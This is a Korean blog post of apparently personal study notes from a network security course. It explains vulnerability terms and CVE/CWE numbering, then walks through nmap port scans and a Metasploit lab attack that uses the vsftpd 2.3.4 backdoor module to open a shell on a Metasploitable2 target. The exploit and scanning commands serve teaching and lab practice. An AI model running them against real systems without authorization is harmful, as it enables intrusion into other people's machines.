취약점
취약점이란 불법적인 사용자의 접근을 허용할 수 있는 위협요소로 시스템의 정상적인 서비스를 방해하고, 시스템이 관리하는 중요한 데이터의 유출, 변조, 삭제에 대한 위협이 있는 것이다.
취약점분석은 이러한 취약점을 찾아내고 조치 방안을 제시하는 것이다. 일반적으로 도구에 의한 자동화된 방법으로 이루어지고, 취약점들에 대한 보안 권고 사항들이 매우 많으며 시스템에 사용되는 플랫폼이나 장비들이 단일화 되어 있지 않기 때문에 대처하기 어렵다. -> 어떤 버전인지 확인하고 그 버전이 가지고 있는 취약점이 무엇인지로 진단함
Zeroday Exploit
취약점에 대한 패치가 배포되기 전, 즉 취약점에 대한 공격에 대해 무방비한 상태가 되어 있는 상태에서 공격이 들어오는 사례 -> 알려지지 않는 취약점으로 이해해도 됨 -> DarkWeb에서 거래 되기도 함
Oneday Exploit
Zeroday Exploit과는 반대로 알려진 취약점으로 이런 취약점을 보완한 패치 또한 배포가 된 상태임 -> 하지만 보완된 패치를 설치하여 업데이트하지 않은 상태(의존성 문제로 서비스에 영향이 있을 수 있기 때문에 업테이트를 못함)
알려진 취약점이라 공격방법 또한 알려져 있기 때문에 매우 위험함 -> 패치가 되지 않은 사이트(버전이 낮은)만 골라서 공격함
취약점 번호체계
CVE(Common Vulnerabilities and Exposures : 취약점 관리)
일반적인 취약점 및 노출이라고 할 수 있다. 취약점에 대해 잘 알려진 정보에 대한 참조 및 방법을 제공
CVE-YYYY-NNNNnnn 방식의 번호를 부여
CWE(Common Weakness Enumeration : 보편적인 약점(취약점 아래 단계) 목록화)
약점들을 목록화 함 CVE와 비슷
Microsoft
MSYY-NNN 방식의 번호를 부여 <-> KB(7자리번호)
Exploit
취약점이 발견되면 공격하는 방법 2가지가 있는데 이러한 방법을 모두 Exploit이라고 함
- 공격코드를 주입해서 해킹을 시도하는 방법 -> 주로 타켓이 정해진 경우에 사용
- 악성코드를 만들어서 주입하는 방법 -> 광범위한 타겟을 대상(최근에는 정해진 타겟에도 사용함)
실습(Metasploit)
Metasploit은 공격도구로 각종 취약한 버전을 골라서 설치한 실습 이미지 Metasploitable2(Victim서버)에 테스트 해봄
구성요소
- Payload : Exploit이 성공한 후에 타겟에 실행할 코드 (실습도구에 867개 존재)
- Exploit : 취약점을 이용하여 프레임워크(Metasploit)가 임의의 코드를 실행할 수 있게 동작 (실습도구에 2230개 존재)
- Encoder : 인코딩하는 모듈
- Nop : 실제로 레지스터 상태나 프로세서 플래그에 영향을 미치지 않으면서 실행을 계속하는 인스트럭션(프로세스 명령) 생성
- Auxiliary : 보조모듈로 스캔, Dos, Directory Indexing 등
- LHOST, LPORT (L : Local) : 공격자의 정보, 공격자의 IP, Port 정보, 보통 리버스 쉘에서 사용
- RHOST, RPORT (R : Remote) : 공격 대상의 IP, Port 정보
취약점 분석 및 진단
- 포트 스캐닝
- 열린포트를 확인 : 어떤 서비스가 실행중인가 파악 - 다양한 Scan방법을 통해 스캔
- 오래되어서 취약한 서비스 확인 : 버전 왁인
- 종류 : IP Scan, TCP Scan(Open), SYN Scan(Half Open), UDP Scan, 엉터리 Scan(X-mas, FIN, Null), OS, Version, All Scan 등
- 취약점에 대한 조사
- 구글에 검색하여 취약한 부분이 있는지 조사
- 스크립트를 활용한 상세 스캐닝
- cd /usr/share/nmap/scripts
- sudo find . -name "*취약점*" (. : 현재위치를 뜻함)
- sudo nmap --script=[스크립트 이름] 타겟IP -p [포트번호] (포트번호 없어도 됨)
- VULNERABLE가 나온 포트 -> 매우 취약함
- Exploit(3단계랑 비슷함 만약 3단계가 안되면 4단계에서 찾기)
- search [취약점]
- use [모듈]
- info 장착한 모듈에 대한 스크립트 내용을 볼 수 있음
사용법
우선 Kali Linux를 켜서 접속을 한다.
그 후 스캐닝을 통해 다양한 정보를 수집한다.
- 타겟 IP : 129는 칼리 자신이고 131이 타겟IP 이다. (s : scan, n : number)
Port Scan : TCP, SYN, UDP, OS, X-mas, FIN, Null, Version, All Scan 등이 있다.
- TCP Scan : 3-Way-Handshake를 완성하여 스캐닝 -> 로그가 남기 때문에 잘 사용안하는 방법(sudo nmap -sT 타겟IP)
- SYN Scan : 3-Way-Handshake를 완성하지 않는 스캐닝(마지막에 ACK를 안보냄)(sudo nmap -sS 타겟IP -p 1-20000)
- UDP Scan : 실행중인 UDP서비스를 확인하는 스캐닝(sudo nmap -sU 타겟IP)
- OS Scan : 운영체제의 종류를 알기위한 스캐닝(sudo nmap -O 타겟IP)
- Version Scan : 버전을 알기위한 스캐닝 버전을 알면 취약점을 알 수 있음(sudo nmap -sV 타겟IP)
- All Scan(Script scan + OS scan + Traceroute + Version scan) : 여러가지 스캐닝(sudo nmap -A 타겟IP -T4)(T : Timing, 0-6까지 숫자 사용가능 클수록 빠르지만 6의 경우 좀 놓칠 수 있음)
엉터리 스캔 : TCP/IP 논리에 맞지 않는 스캐닝 -> 열린포트는 반응X, 닫힌포트는 RST를 보냄
- X-mas Scan : TCP Flag를 모두 1로 만들어서 보내는 스캔(실습도구에선 FUP만 활성화)(sudo nmap -sX 타겟IP)
- FIN Scan : 종료요청을 보내면 열린포트 반응X, 닫힌포트는 RST를 보냄(sudo nmap -sF 타겟IP)
- Null Scan : TCP Flag를 모두 0로 만들어서 보내는 스캔(sudo nmap -sN 타겟IP)
위의 스캐닝 결과 21번 포트는 FTP서비스를 하고있고, 버전은 vsftpd 2.3.4이다. 이 버전을 검색하여 취약점이 존재하는지 확인(search vsftpd)
Backdoor Command가 실행되는 취약점을 가지고 있음
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor // 모듈 장착
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set rhosts 192.168.5.131 // Target host 지정
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit // 공격 시작
접속이 돼있는지 확인하기 위해 명령어를 쳐보면 성공적으로 타겟IP에 접속한 것을 알 수 있다.
21번 포트의 경우 exploit/unix/ftp/vsftpd_234_backdoor의 스크립트를 활용하였지만 실습도구 안에는 606개의 스크립트가 존재하고 취약점에 맞게 활용할 수 있다.
sudo nmap --script=ftp-vsftpd-backdoor.nse 192.168.5.131 -p 21
타겟IP Port에 스크립트 공격을 했을 시 공격결과와 다양한 취약점 정보가 나온다.
'SK Rookies 9 > Network System Secure' 카테고리의 다른 글
로그 분석 (0) | 2022.09.22 |
---|---|
Metasploit 실습 (0) | 2022.09.21 |
암호화 (0) | 2022.09.19 |
WireShark (0) | 2022.09.18 |
9월 15일 (0) | 2022.09.16 |